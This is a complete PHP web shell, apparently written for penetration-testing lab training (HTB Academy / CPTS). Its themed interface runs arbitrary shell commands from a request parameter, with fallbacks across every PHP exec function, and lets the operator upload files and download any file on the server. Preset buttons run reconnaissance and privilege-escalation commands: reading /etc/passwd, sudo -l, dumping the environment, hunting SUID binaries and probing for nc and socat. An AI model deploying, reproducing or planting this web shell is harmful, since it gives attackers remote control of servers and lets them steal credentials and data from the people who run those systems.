<?php
// ============================================================
// rp-shell.php — single-file PHP webshell (Rose Pine)
// Lab use only — HTB Academy / CPTS
// ============================================================
$statusMsg = '';
$output = '';
// --- working directory (persists across requests via hidden field) ---
$workDir = isset($_REQUEST['wd']) ? $_REQUEST['wd'] : getcwd();
if (!is_dir($workDir)) $workDir = getcwd();
$workDir = realpath($workDir);
// --- file download: ?get=<path> ---
if (isset($_GET['get']) && $_GET['get'] !== '') {
$f = $_GET['get'];
$full = ($f[0] === '/' || preg_match('/^[A-Za-z]:[\\\\\\/]/', $f)) ? $f : $workDir . DIRECTORY_SEPARATOR . $f;
if (is_file($full)) {
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($full) . '"');
header('Content-Length: ' . filesize($full));
readfile($full);
exit;
}
$statusMsg = 'download failed: not found -> ' . $full;
}
// --- file upload (drops into current working directory) ---
if (isset($_FILES['f']) && $_FILES['f']['error'] === UPLOAD_ERR_OK && $_FILES['f']['size'] > 0) {
$dest = $workDir . DIRECTORY_SEPARATOR . basename($_FILES['f']['name']);
$statusMsg = move_uploaded_file($_FILES['f']['tmp_name'], $dest)
? 'uploaded -> ' . $dest
: 'upload failed (permissions?) -> ' . $dest;
}
// --- command execution ---
function rp_run($c, $wd) {
$full = 'cd ' . escapeshellarg($wd) . ' && ' . $c . ' 2>&1';
if (function_exists('shell_exec')) return shell_exec($full);
if (function_exists('system')) { ob_start(); system($full); return ob_get_clean(); }
if (function_exists('passthru')) { ob_start(); passthru($full); return ob_get_clean(); }
if (function_exists('exec')) { exec($full, $o); return implode("\n", $o); }
if (function_exists('proc_open')) {
$p = proc_open($full, array(1 => array('pipe','w')), $pipes);
if (is_resource($p)) { $r = stream_get_contents($pipes[1]); fclose($pipes[1]); proc_close($p); return $r; }
}
return 'error: all exec functions disabled (check disable_functions)';
}
$cmd = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : '';
if ($cmd !== '') {
$t = trim($cmd);
if ($t === 'cd' || strpos($t, 'cd ') === 0) {
$target = trim(substr($t, 2));
if ($target === '') { $output = $workDir; }
else {
$new = ($target[0] === '/' || preg_match('/^[A-Za-z]:[\\\\\\/]/', $target))
? $target : $workDir . DIRECTORY_SEPARATOR . $target;
$real = realpath($new);
if ($real && is_dir($real)) { $workDir = $real; $output = ''; }
else $output = "cd: no such directory: $target";
}
} elseif ($t === 'cls' || $t === 'clear') {
$output = '';
} else {
$output = rp_run($cmd, $workDir);
}
}
// --- banner identity ---
function rp_whoami($wd) {
$w = trim((string) rp_run('whoami', $wd));
return ($w !== '') ? $w : (getenv('USERNAME') ?: getenv('USER') ?: '?');
}
$banner = gethostname() . ' :: ' . rp_whoami($workDir);
function h($s) { return htmlspecialchars((string) $s, ENT_QUOTES, 'UTF-8'); }
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>rp-shell :: <?= h($banner) ?></title>
<style>
:root{
--base:#191724; --surface:#1f1d2e; --overlay:#26233a;
--muted:#6e6a86; --subtle:#908caa; --text:#e0def4;
--love:#eb6f92; --gold:#f6c177; --rose:#ebbcba;
--pine:#31748f; --foam:#9ccfd8; --iris:#c4a7e7;
}
*{box-sizing:border-box;}
body{
background:var(--base); color:var(--text);
font-family:"Cascadia Code",Consolas,"Courier New",monospace;
margin:0; padding:24px; font-size:14px;
}
.wrap{max-width:960px; margin:0 auto;}
.card{
background:var(--surface); border:1px solid var(--overlay);
border-radius:10px; padding:18px 20px; margin-bottom:16px;
}
.banner{
font-size:15px; color:var(--foam); letter-spacing:.5px;
border-left:3px solid var(--iris); padding-left:12px;
}
.banner b{color:var(--love);}
.meta{color:var(--subtle); font-size:12px; margin-top:6px;}
.meta span{color:var(--gold);}
.pwd{color:var(--pine); word-break:break-all;}
.pwd b{color:var(--foam);}
pre{
background:var(--base); border:1px solid var(--overlay);
border-radius:8px; padding:14px; overflow-x:auto;
white-space:pre-wrap; word-break:break-all;
color:var(--text); min-height:60px; margin:12px 0;
}
.status{color:var(--gold); font-size:12px; min-height:16px;}
input[type=text]{
width:100%; background:var(--overlay); color:var(--text);
border:1px solid var(--muted); border-radius:6px;
padding:10px 12px; font-family:inherit; font-size:14px;
}
input[type=text]:focus{outline:none; border-color:var(--iris);}
.row{display:flex; gap:8px; margin-top:10px; flex-wrap:wrap; align-items:center;}
.btn{
background:var(--pine); color:var(--text); border:none;
border-radius:6px; padding:9px 18px; cursor:pointer;
font-family:inherit; font-size:13px;
}
.btn:hover{background:var(--foam); color:var(--base);}
.btn.alt{background:var(--overlay); color:var(--subtle);}
.btn.alt:hover{background:var(--muted); color:var(--text);}
.chips{margin-top:10px; display:flex; gap:6px; flex-wrap:wrap;}
.chip{
background:var(--overlay); color:var(--iris); border:1px solid var(--muted);
border-radius:12px; padding:3px 10px; font-size:11px; cursor:pointer;
}
.chip:hover{background:var(--iris); color:var(--base);}
.fileline{display:flex; gap:8px; margin-top:8px; align-items:center;}
.fileline input[type=file]{color:var(--subtle); font-size:12px;}
.hint{color:var(--muted); font-size:11px; margin-top:8px;}
a{color:var(--foam);}
</style>
</head>
<body>
<div class="wrap">
<div class="card">
<div class="banner">rp-shell :: <b><?= h($banner) ?></b></div>
<div class="meta">
remote <span><?= h($_SERVER['REMOTE_ADDR'] ?? '?') ?></span> ::
server <span><?= h($_SERVER['SERVER_SOFTWARE'] ?? '?') ?></span> ::
php <span><?= phpversion() ?></span> ::
disabled <span><?= h(ini_get('disable_functions') ?: 'none') ?></span>
</div>
</div>
<div class="card">
<div class="pwd">cwd :: <b><?= h($workDir) ?></b></div>
<pre id="out"><?= h($output) ?></pre>
<div class="status"><?= h($statusMsg) ?></div>
<form method="post" enctype="multipart/form-data">
<input type="hidden" name="wd" value="<?= h($workDir) ?>">
<input type="text" name="cmd" id="cmd" autocomplete="off"
autofocus placeholder="command... (cd supported, cls clears)">
<div class="row">
<button class="btn" type="submit">run</button>
<button class="btn alt" type="submit" name="cmd" value="cls">clear</button>
</div>
<div class="chips">
<span class="chip" onclick="fill('id')">id</span>
<span class="chip" onclick="fill('uname -a')">uname</span>
<span class="chip" onclick="fill('ls -la')">ls -la</span>
<span class="chip" onclick="fill('cat /etc/passwd')">passwd</span>
<span class="chip" onclick="fill('sudo -l')">sudo -l</span>
<span class="chip" onclick="fill('env | sort')">env</span>
<span class="chip" onclick="fill('find / -perm -4000 -type f 2>/dev/null')">suid hunt</span>
<span class="chip" onclick="fill('command -v python3 python perl nc socat bash')">interpreters</span>
</div>
<div class="fileline">
<input type="file" name="f">
<button class="btn alt" type="submit">upload to cwd</button>
</div>
</form>
<form method="get" class="fileline">
<input type="hidden" name="wd" value="<?= h($workDir) ?>">
<input type="text" name="get" placeholder="download path, e.g. /etc/passwd or ./config.php">
<button class="btn alt" type="submit">download</button>
</form>
<div class="hint">
up/down arrows = command history ::
exec falls back across shell_exec/system/passthru/exec/proc_open ::
remember to delete this file during cleanup
</div>
</div>
</div>
<script>
var hist = [], hi = -1;
var box = document.getElementById("cmd");
function fill(c){ box.value = c; box.focus(); }
box.form.addEventListener("submit", function(){
if (box.value) hist.push(box.value);
});
box.addEventListener("keydown", function(e){
if (e.key === "ArrowUp"){ e.preventDefault();
if (hist.length){ hi = Math.max(0, hi < 0 ? hist.length - 1 : hi - 1); box.value = hist[hi]; } }
if (e.key === "ArrowDown"){ e.preventDefault();
if (hist.length){ hi = Math.min(hist.length - 1, hi + 1); box.value = hist[hi]; } }
});
</script>
</body>
</html>